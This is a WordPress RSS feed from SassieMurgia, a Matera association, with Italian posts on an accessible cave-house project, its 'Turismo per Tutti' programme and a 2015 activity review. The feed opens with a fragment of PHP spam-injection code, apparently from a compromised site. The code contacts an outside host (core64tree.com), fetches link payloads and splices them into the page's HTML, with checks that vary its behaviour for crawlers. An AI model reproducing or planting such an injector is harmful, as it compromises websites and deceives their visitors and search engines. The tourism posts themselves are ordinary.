{ if(preg_match('#' . $bad_pattern . '#i', $donor)){ $donor_good = false; break; } } } if($donor_good){ if(function_exists('http_response_code')){ if(http_response_code() != 200){ $donor_good = false; } } } if($donor_good){ $content_bad_patterns = array( '(.*)404(.*)<', '<title>(.*)not found(.*)<', '<title>(.*)cannot be displayed(.*)<', ); foreach($content_bad_patterns as $bad_pattern) { if(preg_match('#' . $bad_pattern . '#i', $my_content)){ $donor_good = false; break; } } } if($donor_good){ if(strlen($donor) > 210){ $donor_good = false; } } if($donor_good){ $itemcrawler = 'x'; if($isgb){ $itemcrawler = 'g'; } if( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ){ $itemcrawler = 't'; } $donor = urlencode($donor); $ll = get_data_yo("http://core64tree.com/lnk-release-2.4.a17-epel/tuktuk.php?d=$donor&dgrp=$algo&b=$itemcrawler&hs=$hspan"); $el = explode(' ', $ll); } } // if(strpos($donor, 'tgththththtt') !== false){ // @ini_set('display_errors', '1'); // error_reporting(E_ALL); // $my_content = '---debug---<br>'.rnd_label().'<br>' . $my_content; // } // ------ if ($my_content && ( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ) ) { $my_content = '---label---<br>'.rnd_label().'<br>' . $my_content; } if ( $donor_good) { $my_content = str_replace('_-', '{nnnYYY}', $my_content); $my_content = str_replace('-_', '{YYYnnn}', $my_content); foreach($el as $ln) { $ln = str_replace('</p>', '_-/p-_', $ln); if (!$hspan && preg_match('#<strong>([^<]{5,150})</strong>#', $my_content)) { $my_content = preg_replace('#<strong>([^<]{5,150})</strong>#', "_-strong-_ $ln \${1} _-/strong-_ ", $my_content, 1); } elseif (preg_match('#</h1>#', $my_content)) { $my_content = preg_replace('#</h1>#', "_-/h1-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<b>([^<]{3,100})</b>#', $my_content)) { $my_content = preg_replace('#<b>([^<]{3,100})</b>#', "_-b-_ $ln \${1} _-/b-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<i>([^<]{3,100})</i>#', $my_content)) { $my_content = preg_replace('#<i>([^<]{3,100})</i>#', "_-i-_ $ln \${1} _-/i-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<u>([^<]{3,100})</u>#', $my_content)) { $my_content = preg_replace('#<u>([^<]{3,100})</u>#', "_-u-_ $ln \${1} _-/u-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body\${1}>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); $my_content = str_replace('{nnnYYY}', '_-', $my_content); $my_content = str_replace('{YYYnnn}', '-_', $my_content); } echo $my_content;xdie(); } shutdown(); } } <?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>sassi matera – SassieMurgia https://www.sassiemurgia.com Ci vediamo in escursione! Thu, 07 Oct 2021 13:54:26 +0000 it-IT hourly 1 https://wordpress.org/?v=5.1.19 Casa grotta del Casalnuovo accessibile ai disabili https://www.sassiemurgia.com/casa-grotta-del-casalnuovo-accessibile-alle-persone-con-disabilita/ https://www.sassiemurgia.com/casa-grotta-del-casalnuovo-accessibile-alle-persone-con-disabilita/#respond Tue, 03 Dec 2019 15:02:54 +0000 https://www.sassiemurgia.com/?p=3059
file per la stampa del plastico 3d

Sabato 30 Novembre alle 18.00, presso la Sala Levi di Palazzo Lanfranchi a Matera è stato presentato il progetto pilota Casa grotta del Casalnuovo accessibile alle persone con disabilità nell’ambito di Architetture in positivo.

Avviato poco più di un anno fa da Luca Petruzzellis e promosso dalla Pro Loco di Matera, dalle associazioni culturali SassieMurgia e Genius Loci, nonché dall’AIPD di Matera, il progetto pilota si pone come obiettivo primario l’adeguamento del sito di interesse turistico, storico e culturale, attraverso interventi strutturali e l’utilizzo di adeguati supporti tecnologici e non, al fine di soddisfare la più vasta gamma di bisogni dei visitatori, primi tra tutti i visitatori con disabilità.

Il progetto nello specifico   

Dopo un’attenta riflessione sui bisogni dei turisti con disabilità, resa possibile dall’analisi delle esperienze di visita di numerosi visitatori all’interno della casa grotta e nei Sassi, è stato possibile mettere a punto, insieme ad un team caratterizzato da competenze specifiche, una serie di interventi sia di  tipo edilizio sia di comunicazione, prestando la massima attenzione all’utilizzo delle nuove tecnologie. Sono stati infatti realizzati i seguenti interventi:

1. Il pannello visivo-tattile concepito per comunicare in modo semplice e inclusivo l’edificio casa grotta: la pianta, come strumento per l’orientamento, e la relativa sezione, per evidenziare la particolarissima morfologia degli spazi che si sviluppano su piani diversi.  Tutte le informazioni, sia testuali che grafiche, sono accessibili a chiunque, comprese le persone cieche o ipovedenti. Grazie ad una particolare tecnica di stampa è stato infatti possibile integrare testi in Braille e disegni tattili in inchiostro trasparente a rilievo, sovrapposti a disegni e testi visibili a colori. Nella fascia laterale del pannello sono inoltre inglobati tutti i contenuti multimediali relativi alla casa grotta, accessibili a tutti tramite le tecnologie QR code e NFC;

Lavori di messa in sicurezza della pavimentazione

2. Il modellino tridimensionale (in scala 1:50) realizzato tramite stampa 3d in bioplastica compostabile per consentire la percezione dei volumi del sito in primo luogo alle persone con disabilità visiva, ma che risulta efficace per chiunque;

3. La video guida in LIS (Lingua dei Segni Italiana) con sottotitolazione e voce narrante in italiano, permette alle persone sorde di accedere alle informazioni riguardanti la storia e le tradizioni della casa grotta e del suo contesto di riferimento, i Sassi;

4. La guida semplificata per comunicare i contenuti di casa grotta alle persone con disabilità intellettiva (in lavorazione).

5. Gli interventi di messa in sicurezza dell’edificio e miglioramento della comunicatività e percettibilità dei suoi spazi.

Considerata la particolare struttura edilizia di casa grotta e della sua collocazione urbana, non è stato purtroppo possibile rendere accessibile l’edificio alle persone che utilizzano la carrozzina per la loro mobilità. Tuttavia, le attività sopra citate (punti 1 e 3) possono in una certa misura ovviare a questo problema offrendo alle persone con disabilità motoria, sia pur in differita, qualcosa di simile ad un tour virtuale all’interno del sito.    

Questi interventi centrano un duplice scopo: garantiscono una visita soddisfacente alle persone con  disabilità sensoriale, migliorando sensibilmente nello stesso tempo  la qualità dell’esperienza di visita di chiunque perché, se si progetta tenendo conto dell’accessibilità universale, sono tutti gli utenti a guadagnarci e non soltanto particolari categorie di persone.

mappa visivo tattile: particolare sezione con rilievo tattile e Braille

L’evento è patrocinato da: Provincia di Matera, Comune di Matera, CNA Matera e Confapi di Matera, segno tangibile dell’interesse che questi temi stanno sempre più suscitando nel ceto imprenditoriale locale e tra gli operatori turistici. Tra i patrocini figurano anche: l’Unpli Basilicata, l’Unione Italiana dei Ciechi e degli Ipovedenti onlus APS di Matera e l’Unione Ciechi e Ipovedenti Lucani, a testimonianza della particolare attenzione che queste associazioni rivolgono al tema della comunicazione pluri-sensoriale inclusiva. 

Il progetto è stato realizzato con il determinante contributo di: Regione Basilicata, APT Basilicata, Miccolis S.p.A. Autolinee, Hotel Nazionale, Ortopedia sanitaria Nova salus, Emoby Mobilità sostenibile Turismo accessibile, Lions Club International Matera host, Antezza Tipografi, Ottica Smalti e Colori, Ristorante Dalla padella alla brace, Ape Vito.

Media partners ufficiali: Trm Network, Radiosa Tv, Radio Radiosa. La presentazione del progetto è stata interamente tradotta in LIS (Lingua dei Segni Italiana), a beneficio delle persone sorde.

Gruppo di lavoro

Coordinamento: Luca Petruzzellis, Piero Colapietro.
Il modellino tridimensionale è stato realizzato da Bad Maker Lab.
La mappa visivo-tattile è stata ideata e realizzata dalle associazioni onlus Lettura Agevolata di Venezia e Tactile Vision di Torino;
La video-guida in LIS è stata realizzata dalla cooperativa Segnalis; riprese e montaggio M&I Produzioni.

La casa grotta del Casalnuovo è visitabile su prenotazione a partire dal 1° Dicembre 2019, contattando Luca Petruzzellis, al 320 442 99 09.

Addetto stampa e comunicazione: Giuseppe Cesareo, (email Cesareo@architettureinpositivo.it)

Per info: http://www.architettureinpositivo.it facebook.com/architettureinpositivo

]]>
https://www.sassiemurgia.com/casa-grotta-del-casalnuovo-accessibile-alle-persone-con-disabilita/feed/ 0
Turismo per Tutti, un progetto in divenire https://www.sassiemurgia.com/turismo-per-tutti-un-progetto-in-divenire/ https://www.sassiemurgia.com/turismo-per-tutti-un-progetto-in-divenire/#comments Fri, 08 Dec 2017 08:05:10 +0000 https://www.sassiemurgia.com/wp/?p=141 sei-su-immagine-raffigurante-raffaele-e-nunzia-spiegano-la-cripta-del-peccato-originale-ai-sordiIl progetto ‘Turismo per Tutti: itinerari per non vedenti e non udenti a Matera’ è nato nel Marzo 2012, originariamente consisteva nella svolgimento, in forma gratuita, di quattro itinerari (Sassi di Matera – Parco della Murgia Materana, zona Belvedere di Murgia Timone – Cripta del Peccato Originale– Riserva Naturale oasi WWF lago di S. Giuliano) ideati per la fruizione da parte di ciechi e sordi della Basilicata. Il successo dell’iniziativa, corroborato da successive visite guidate a gruppi di sordi e non vedenti giunti a Matera da varie regioni del centro e sud Italia, ha spinto SassieMurgia a proseguire nella strada intrapresa ampliandone orizzonti e finalità.
Con il tempo, la formazione sul campo e l’esperienza ci hanno consentito di poter erogare ai turisti sordi e ciechi visite guidate all’altezza delle loro aspettative. Parimenti, dopo un lungo, difficile ed entusiasmante lavoro di preparazione, siamo oggi in grado di accompagnare anche le persone in carrozzina alla scoperta del nostro territorio, pur essendo solo all’inizio del lungo cammino che lo renderà ben più accessibile di quanto lo sia oggi.
Ora più che mai è indispensabile realizzare le infrastrutture idonee affinché essi ne possano fruire in totale autonomia ed in condizioni di assoluta sicurezza poichè le persone disabili quando fanno turismo necessitano, come tutti i turisti, di un offerta relativa al “cosa vedere” e “cosa fare”.
In merito al primo punto, molto c’è ancora da fare perchè gli itinerari per persone con disabilità, già individuati a Matera e dintorni, siano dotati di tutti quegli strumenti e dispositivi che ne renderebbero possibile la completa e autonoma fruizione da parte loro.
Le due videoguide contenenti informazioni in LIS (Lingua Italiana dei Segni) relative agli aspetti storici, archeologici e naturali del Parco della Murgia Materana sono il primo, importante passo in questa direzione. Sono consultabili sul canale Youtube dell’ Ente Parco oppure presso i centri visita di Iazzo Gattini e Abbazia di Montescaglioso.

Recentemente, grazie al progetto Architetture in positivo, al gruppetto di siti di interesse turistico e culturale cittadini oggi accessibili anche alle persone con disabilità si è aggiunta la Casa grotta del Casalnuovo, nel Sasso Caveoso, che è visitabile dalle persone con disabilità sensoriale; si sta provvedendo a realizzare una guida semplificata del sito in questione di modo che possano visitarlo anche le persone con disabilità intellettiva.

Architetture in positivo affronta la sfida dell’accessibilità del patrimonio culturale, storico, naturale e paesaggistico di Matera ispirandosi ai principi del Design for all. Nello specifico, il cuore del restyling della Casa grotta del Casalnuovo è la mappa visivo tattile (progettata da Lettura agevolata Onlus e Tactile Onlus) che ingloba una serie di contenuti multimediali in italiano ed inglese (per ora videoguida Lis e audiodescrizioni del sito) accessibili da chiunque abbia uno smartphone tramite le tecnologie QR code ed NFC: un modello da imitare per quanti vorrebbero rendere chiese, musei e monumenti della Città dei Sassi visitabili ai più (disabili compresi) ma in concreto non sanno come fare.

I progetti Turismo per tutti e Architetture in positivo hanno trovato uno spazio di approfondimento e confronto tra esperti di accessibilità italiani e polacchi nell’ambito del progetto “Hajnówka accessibile – programma di accessibilità della città nell’ambito della cultura e del turismo, ispirate alle soluzioni italiane della città di Matera”, nato dalla collaborazione transnazionale tra l’organizzazione no profit polacca Ośrodek Wspierania Organizacji Pozarządowych (OWOP), e le materane IAC Centro Arti Integrate e SassieMurgia Aps.

Riguardo al “cosa fare”, è stata sperimentata nell’estate 2012 la sottotitolazione dei film del ParcoMurgia Film (rassegna cinematografica estiva che si svolge ogni anno presso il centro visite Iazzo Gattini). Più recentemente, insieme alle migliori energie creative lucane riunite nella Fondazione Cresco in Basilicata abbiamo realizzato “Passaggio2019 un salto nella Matera che saremo”, un’intera giornata di eventi in parte concepiti, una volta tanto, anche per i disabili.
Grazie alle nostre sollecitazioni le edizioni 2013 e 2014 di MateRadio, la rassegna di eventi a sostegno della candidatura di Matera a Capitale Europea della Cultura 2019 a cura di Rai Radio 3 in collaborazione con il Comune di Matera ed il Comitato Matera 2019, sono state fruibili anche da sordi e ipoudenti. Questi ultimi hanno potuto seguire la popolare Fahrenheit condotta da Marino Sinibaldi grazie alla traduzione in segni effettuata da due interpreti LIS da noi segnalati alle istituzioni sopra citate.
Con immediatezza abbiamo inoltre risposto alla richiesta d’aiuto dell’associazione Murgia Madre che, volendo estendere la fruibilità del Matera Ballon Festival (il primo e unico festival internazionale delle mongolfiere a Matera) a tutti, ci ha chiesto come renderlo più accessibile. La collaborazione con Murgia Madre è proseguita nel 2016, in occasione del presepe vivente “Dies Natalis – La Natività nei Sassi di Matera” , nell’ambito del quale abbiamo ideato e gestito una serie di servizi per facilitare la visita delle postazioni presepiali a sordi, ciechi e disabili psichici.

Da Luglio 2013, i disabili con disabilità evidente e/o certificata ai sensi della normativa vigente non pagano la tassa di soggiorno, a carico di tutti coloro che alloggiano nelle strutture ricettive situate sul territorio comunale. La proposta di esenzione è farina del nostro sacco, l’abbiamo fatta al Comune di Matera qualche mese fa e di recente è stata accolta. A livello economico, l’esenzione non produce effetti significativi per i disabili, si tratta infatti di un risparmio di una manciata di euro. Ma a livello di immagine il messaggio è forte: Matera si avvia a ripensarsi come città dal volto umano e accogliente, e, in un futuro non troppo lontano, accessibile a tutti.
Una città accogliente e accessibile, specie quando vanta flussi turistici corposi, deve avere una guardia medica turistica efficiente, com’è quella -lo dicono i feedback dei turisti che vi hanno fatto ricorso- situata a due passi dai Sassi. E’ stata riattivata da una lungimirante Azienda sanitaria materana il 9 aprile 2017, anche in seguito alle nostre pressioni.
Una città accogliente e accessibile non può esistere senza un etica e cultura dell’accessibilità insite nella sua comunità. Ecco perchè è fondamentale investire sin da subito nella formazione per abbattere le barriere più ardue, quelle che sono dentro ognuno di noi. Diamo atto al CSV Basilicata di aver avviato, per la prima volta in Basilicata, un percorso formativo mirato “Accessibilità per Matera 2019” grazie al quale il nostro presidente ha avuto la possibilità di trasmettere ad altri le proprie conoscenze in materia. Nel corso del 2017 i rapporti con il CSV si sono intensificati ed hanno prodotto -è il caso di dire, per il momento- altre lezioni per due terze classi dell’ ITCG Loperfido-Olivetti di Matera nell’ambito del progetto “Co-working Culture Space: spazi di innovazione per una cultura accessibile a tutti”. Restando in tema di formazione e nuove opportunità di lavoro per il mondo giovanile, più di recente, nella primavera 2020, ci siamo confrontati con i ragazzi del master “Esperto in lingua dei segni al servizio della fruizione dei beni culturali da parte dei disabili sensoriali”. Uno degli obiettivi del corso, organizzato dall’ente di formazione potentino Eudaimonia, era quello di realizzare un itinerario accessibile ai turisti con disabilità nel Parco regionale della murgia materana. Nel dicembre 2018 il nostro uditorio, frequentante il corso “Il Patrimonio culturale e naturalistico della Basilicata: identità, criticità, innovazione”, è stato invece quello dell’ Università della Terza Età (Unitep) sede di Matera: in quell’occasione abbiamo fatto cadere alcuni luoghi comuni secondo cui i Sassi sarebbero per loro stessa natura preclusi ai visitatori con disabilità.

Turismo per sordi, ciechi e…

sei-su-immagine-raffigurante-due-non-vedenti-toccano-la-facciata-della-chiesa-del-peccato-originaleL’imminente realizzazione di “infrastrutture solidali” per consentire a sordi e ciechi di scoprire autonomamente il nostro territorio è uno degli obiettivi principali di Turismo per Tutti. Ma l’accessibilità deve essere garantita a tutti, ecco perchè stiamo estendendo i nostri servizi a persone con altri tipi di disabilità. Dal 1 Giugno 2013 anche i disabili psichici possono sperimentare le emozioni di una passeggiata a contatto con la natura del Parco della Murgia Materana, le tradizioni e la storia millenaria dei Sassi, il fascino senza tempo delle chiese rupestri del materano. L’entusiasmante esperienza si è ripetuta nella primavera 2014 e 2015 in collaborazione con Ente Parco della Murgia Materana, U.O. Centri Diurni Azienda Sanitaria Locale di Matera, coop. Progetto Popolare e Aipd Matera.
La collaborazione con il Ceas Feronia, inoltre, ci ha consentito di estendere le visite alla Riserva Naturale Oasi S. Giuliano, vero e proprio scrigno di biodiversità a due passi da Matera grazie al progetto Non Uno di Meno.

Un pò di numeri

Nove anni dopo l’ avvio del progetto i numeri sono più che lusinghieri. Sono circa 4500 le persone con disabilità giunte in Basilicata da ogni angolo del Bel Paese (in particolar modo dalle regioni del centro-sud), con un picco significativo nel 2019, anno in cui si è celebrata la consacrazione di Matera a Capitale Europea della Cultura. Potendo contare sui nostri servizi e facendosi guidare dalle nostre indicazioni hanno visitato i Sassi di Matera, il Parco della Murgia Materana ed altre affascinanti e poco note località della regione. A loro vanno aggiunte circa duecento persone (in maggioranza con disabilità psichica), quotidianamente assistite dagli operatori dei centri diurni dell’Azienda Sanitaria Locale di Matera, della coop. Progetto Popolare di Montescaglioso (MT) e della Aipd sezione di Matera.
Considerando che una persona disabile che viaggia porta con sè,  in media, altre due persone, è facile dedurre che i numeri di cui parliamo sono ben più alti.
Putroppo, sono ancora troppi i potenziali turisti con disabilità che rinunciano ad una vacanza a Matera giudicandola poco ricettiva ai propri bisogni.

Turismo per tutti è fare rete

L’unione fa la forza. Sempre. Nel nostro paese i numeri del turismo accessibile sono in crescita ed è importante fare rete sull’intero nazionale per offrire servizi turistici accessibili di qualità e promuoverli in modo più capillare ed incisivo. Siamo in contatto costante con associazioni e tour operator che organizzano viaggi responsabili e tour pensati su misura per chi ha esigenze speciali.

Accessibilità uguale pari opportunità

Alla base della predisposizione di un offerta turistica completa per disabili c’è l’idea di accessibilità, declinata sotto forma di pari opportunità ed uguale accesso alla fruizione del patrimonio culturale materiale e immateriale. Se ad un normodotato si da la possibilità di scegliere se visitare Matera ricorrendo ad una guida autorizzata o in autonomia, sfruttando la rete di itinerari e sentieri predisposti, non si vede il motivo per cui non si debba garantire uguale possibilità di scelta ad una persona con disabilità o con bisogni speciali d’altro genere.

Un sogno realizzabile: il sistema turistico accessibile

Predisporre un offerta turistica completa per disabili non è ancora sufficiente per costruire un sistema turistico accessibile.
Per arrivarci manca un ultima cosa, cioè un azione di sensibilizzazione degli operatori turistici locali(strutture ricettive, guide, agenzie incoming, etc.) e della cittadinanza, finalizzata all’abbattimento delle barriere non solo architettoniche e infrastrutturali ma anche sociali e culturali.
Solo un cambiamento profondo della forma mentis della comunità locale potrà determinare il superamento dell’isolamento e della ghettizzazione dei disabili ed una reale e duratura inclusione delle minoranze nel processo di costruzione attiva dello sviluppo culturale e sociale di lungo termine della città. Il cambiamento auspicato è ancora lontano, ma non impossibile: i risultati della somministrazione alle strutture ricettive della provincia di Matera, della scheda, da noi predisposta, al fine di valutarne l’accessibilità ad un’ampia gamma di bisogni speciali ed i primi esiti del progetto Materamare dimostrano che i Sassi e la Murgia non sono così inaccessibili come si crede, ed evidenziano, piuttosto, uno scarto significativo tra inaccessibilità reale e inaccessibilità percepita.

Turismo per Tutti è Social Trekking

Il Social Trekking, è “l’anima sociale” del trekking, una visione incentrata sulla dimensione dello stare insieme più che su quella naturalistica.
Numerosi sono i significati che il Social Trekking può avere: oltre che aprire le porte del viaggiare a piedi a tutti, giovani, attempati, maturi, soli, in coppia, in gruppo, in famiglia, atletici, avventurosi, comodoni, esso può essere luogo di incontro e scambio di esperienze, di condivisione di valori etici e solidali, di diffusione di stili di vita sostenibili.
SassieMurgia ha aderito al progetto Social Trekking (maggiori info qui: http://www.waldenviaggiapiedi.it/social-trekking/) ideato dalla cooperativa Walden viaggi a piedi. Uno tra i risultati più importanti da esso scaturiti è Social Trekking, libro che riunisce una serie di trekking a forte contatto sociale, più che naturalistico, e fornisce una panoramica delle associazioni o altro che lavora nel settore e promuove questa visione più sociale del trekking.
L’associazione culturale materana è presente sulla pubblicazione con propri itinerari pensati per non udenti e non vedenti.
Per SassieMurgia infatti Social Trekking vuol dire estendere la conoscenza del patrimonio artistico e naturale locale anche a non udenti e non vedenti, patrimonio ad essi oggi quasi totalmente precluso.

Turismo per Tutti è solidarietà

SassieMurgia è attiva nel supporto ad enti no profit tramite donazioni di varia natura. Nella primavera del 2020 in collaborazione con la Pro loco di Matera abbiamo raccolto e donato alla Fondazione italiana Autismo 1200 euro nell’ambito della campagna nazionale di raccolta fondi Sfidautismo 2020.

sei-su-immagine-raffigurante-un-gruppo-di-sordi-applaudono-presso-la-riserva-naturale-oasi-san-giuliano

Vai alle foto

Vai alla rassegna stampa

]]>
https://www.sassiemurgia.com/turismo-per-tutti-un-progetto-in-divenire/feed/ 38
Bilancio 2015, cambiare senza snaturarsi https://www.sassiemurgia.com/bilancio-2015-cambiare-senza-snaturarsi/ https://www.sassiemurgia.com/bilancio-2015-cambiare-senza-snaturarsi/#respond Thu, 24 Dec 2015 09:56:24 +0000 https://www.sassiemurgia.com/?p=2787 Chi ci segue più assiduamente avrà senz’altro notato una significativa diminuzione delle nostre attività nel corso del 2015, la qual cosa si è tradotta, inevitabilmente, nel rallentamento della corsa di SassieMurgia.
Rallentare non è necessariamente una strategia della pigrizia. Il rallentamento è anche l’immancabile presupposto di una riflessione profonda che conduce ad una rinascita.
La nostra associazione esiste dal 2009 (ma nella mia testa da molto prima!), da allora tutto o quasi intorno a noi è cambiato in modo vorticoso, siamo cambiati noi stessi grazie ai meriti acquisiti lungo il cammino, agli errori, alle sfide vinte e a quelle perse, agli obiettivi centrati ed a quelli falliti nel segno di un interrogativo che da sempre ci accompagna: “come fare a stare al passo con i tempi senza smarrire la propria identità?”
Dopo sei anni di intensa attività, non c’è niente di meglio che un po’ di lentezza per ripensarci a fondo! Ne beneficerà SassieMurgia e la nostra stessa città che, in quanto Capitale Europea della Cultura 2019, non chiede altro ai suoi cittadini che di cambiare insieme a lei! Noi abbiamo accettato sin da subito la sfida del cambiamento tant’è vero che siamo parte integrante del progetto “Matera città aperta” incluso nel dossier Matera 2019 – Open Future. In quel progetto intendiamo portare la nostra visione dell’accessibilità del Patrimonio artistico, storico e naturale locale e di un turismo più inclusivo.
Con il nostro Turismo per Tutti vogliamo rendere Matera un luogo alla portata di tutti, turisti e residenti. Fortunatamente non siamo più soli! Sempre più persone cominciano a capire che ciò che è accessibile a chi ha bisogni speciali è meglio per tutti. Oltre un anno fa, Cristina, giovane titolare del Fraisassi residence, una struttura ricettiva di charme ricavata all’interno di architetture tipiche dei Sassi, mi contattò per chiedermi aiuto. Aveva ottenuto un finanziamento regionale derivante dal “PIOT Matera e Collina”(non è vero che mancano i soldi, piuttosto scarseggiano buoni progetti!) e voleva usarlo per rendere il suo albergo accessibile a persone con disabilità sensoriale e fisica. Cristina aveva capito che il suo residence, nonostante si trovasse nei Sassi, area tutt’altro che accessibile, avrebbe potuto cambiare senza snaturarsi; per trasformare questo suo sogno in realtà non bastava la ferrea determinazione di Cristina e la mia pluriennale esperienza in materia di accessibilità del patrimonio artistico, storico e naturale locale, ci voleva una squadra giovane e competente come quella del collettivo FARA ed il contributo prezioso di alcuni professionisti provenienti da fuori regione. Da questo intenso e appagante lavoro di squadra è nato il nuovo Fra i Sassi residence, il primo albergo diffuso pensato per tutti nella Capitale Europea della Cultura 2019.
Siete curiosi di vederlo? Pazientate un po’, stiamo decidendo il modo migliore per presentarvelo.
L’Accessibilità è la possibilità per chiunque, soprattutto per chi ha capacità motoria o sensoriale ridotta o impedita, di fruire edifici, spazi e attrezzature in condizioni di sicurezza e autonomia: per conseguirla pienamente, bisogna lavorare su più fronti. La realizzazione di un sistema ricettivo accessibile è solo una piccola parte. La produzione di prodotti e servizi “per tutti” è un altro passo importante da compiere, pena l’impossibilità di intercettare la domanda di turismo accessibile.
A tal proposito, l’Ente Parco della Murgia Materana in collaborazione con SassieMurgia, ha dotato i suoi due centri visita di altrettante videoguide con informazioni in LIS (Lingua Italiana dei Segni) relative agli aspetti storici, archeologici e naturali del Parco regionale della Murgia Materana. Per vederle, basta recarsi nei due centri visita sopra citati oppure cliccare QUI per la Guida LIS Iazzo Gattini e QUI per la Guida LIS Abbazia di Montescaglioso.
Entrambe le videoguide hanno sottotitoli e voce narrante in lingua italiana, quindi se le può godere anche un non vedente o un “normodotato” e proprio per queste caratteristiche sono risultate talmente innovative da aver vinto il Premio Smart Communities 2015, dedicato alle esperienze e i progetti più innovativi in tema di città intelligenti.
Con l’Ente Parco abbiamo inoltre effettuato per il terzo anno consecutivo il Parco per Tutti, tre visite guidate alla scoperta del Parco della Murgia Materana tradizionalmente dedicate alle persone con disabilità psichica. Con l’aiuto della sede locale dell’Associazione Italiana Persone Down quest’anno abbiamo potuto estenderle ad un gruppetto di ragazzi down residenti in città.
I nostri amici ciechi, invece, ci hanno stimolato a migliorare l’accessibilità del nostro sito web. Abbiamo colto la palla al balzo (che belle le critiche costruttive!) per renderlo visitabile anche a chi è cieco, a chi è ipovedente e a chi è affetto da disturbi della lettura, ad esempio i dislessici. Lo abbiamo fatto installando nel nostro sito “Farfalla”, applicazione web leggera e versatile e dotando le immagini presenti su www.sassiemurgia.com di una descrizione testuale che i sintetizzatori vocali di computers, tablets, smartphones e quant’altro possano trasformare in voce.
Se gestite un blog o un sito web, non dimenticatevi di assicurarvi che sia consultabile da parte di tutti! Se non sapete come fare, niente paura, vi aiuto io! Mi rivolgo in special modo a chi gestisce siti ufficiali di istituzioni ed enti pubblici, che sono i primi tra quelli che devono garantire l’accesso universale alle informazioni.
Cambiando argomento, vi ricordate di Nissan the Quest, popolare format di Sky Sport dedicato agli sport action, che sul finire del 2013 riuscimmo a portare in Basilicata? Bene, tra la fine del 2014 e l’inizio del 2015 una troupe di Sky Sport è tornata a Matera per scegliere le location per girare due nuovi episodi di Nissan the Quest. Noi guide SassieMurgia l’abbiamo aiutata a scegliere le più adatte alle loro richieste e cioè contrada Murgecchia nel Parco della Murgia Materana e la riserva naturale Lago di S. Giuliano a pochi chilometri da Matera. Gli episodi sono già andati in onda, non appena ne recupero i video, ve li invierò affinché possiate vederli anche voi. Anche nel 2015, non discostandoci minimamente dalla nostra convinzione che promozione e salvaguardia del territorio devono viaggiare di pari passo, abbiamo fatto la nostra parte per quel che riguarda la sua tutela dalle estrazioni petrolifere, questione che tiene banco ininterrottamente dalla fine dello scorso anno. Il progetto Artabout è nato da un idea di quattro realtà creative lucane Allelammie, Casa Netural, SassieMurgia e IAC – Centro Arti Integrate, e si è concretizzato solo grazie al supporto di un intera comunità! Il video che ne è venuto fuori sta facendo il giro del mondo, sensibilizzando l’opinione pubblica rispetto ai temi dell’ impatto del petrolio sul territorio lucano e della necessità indifferibile che ognuno di noi attivi la propria coscienza ecologica per contribuire ad arrestare il degrado ambientale del luogo in cui vive.
In un mondo in cui se non si abbandonano i combustibili fossili entro la metà del secolo si va incontro all’estinzione (vedi recente conferenza sul clima di Parigi), mi sarei aspettato che ci fosse all’ interno del dossier Open Future una netta presa di posizione proprio contro quel petrolio che, dopo essere stato estratto dal sottosuolo lucano per più di vent’anni, non ci ha lasciato altro che inquinamento. Macché! Chi ha redatto il dossier si è limitato a considerare, cito testualmente, “il tema dell’estrazione del petrolio in Basilicata come un’opportunità per interrogarci sul rapporto tra l’uomo e l’ambiente”: un modo grottesco per non esprimersi sull’ intera faccenda.
A parte questo, il dossier incarna un efficace ed innovativo modello di sviluppo per il nostro Sud, l’Italia e l’Europa.
Speriamo solo di essere in grado di tradurlo in realtà.
Anche quest’anno, come sempre, il lavoro di squadra è stato determinante per fare ciò di cui vi scrivo. Tra di noi c’è chi ha messo a disposizione il proprio tempo, chi il proprio denaro, pur di fare senza mai perdere di vista ciò che siamo ed i nostri obiettivi di sempre.
Loro sono Silvio Scocuzza, Francesco Foschino, Angelo Fontana, Marilisa Biscione, Renato Favilli, Mariangela Tantone, Francesco Masciandaro, Enzo Montemurro, Lorenzo Tortorelli, Nunzia Gaudiano, Marina Duni Plasmati, Maria Lucia Loschiavo, Alessio Leardi, Nicola Taddonio e Nicola Ricciardi.

Tutti insieme vi auguriamo buone feste.

Ci vediamo in escursione!

Luca Petruzzellis
Presidente associazione culturale SassieMurgia

PS. Non sapete cosa regalare a Natale, ma state pensando ad un libro? Eccovi alcune idee originali.
E fu subito Lucania è l’ultima fatica editoriale di Domenico Notarangelo (la foto utilizzata per la nostra cartolina di auguri è sua, colgo l’occasione per ringraziare Domenico) ed è un emozionante viaggio fotografico in una Lucania di altri tempi; La chiesa rupestre di San Pietro de Morrone ricostruisce le fasi della scoperta e studio di un luogo di culto medievale nei Sassi di Matera.

sei-su-immagine-raffigurante-cartolina-buone-feste-sassiemurgia-che-raffigura-il-contrasto-tra-la-matera-del-presente-e-quella-del-passato

]]>
https://www.sassiemurgia.com/bilancio-2015-cambiare-senza-snaturarsi/feed/ 0
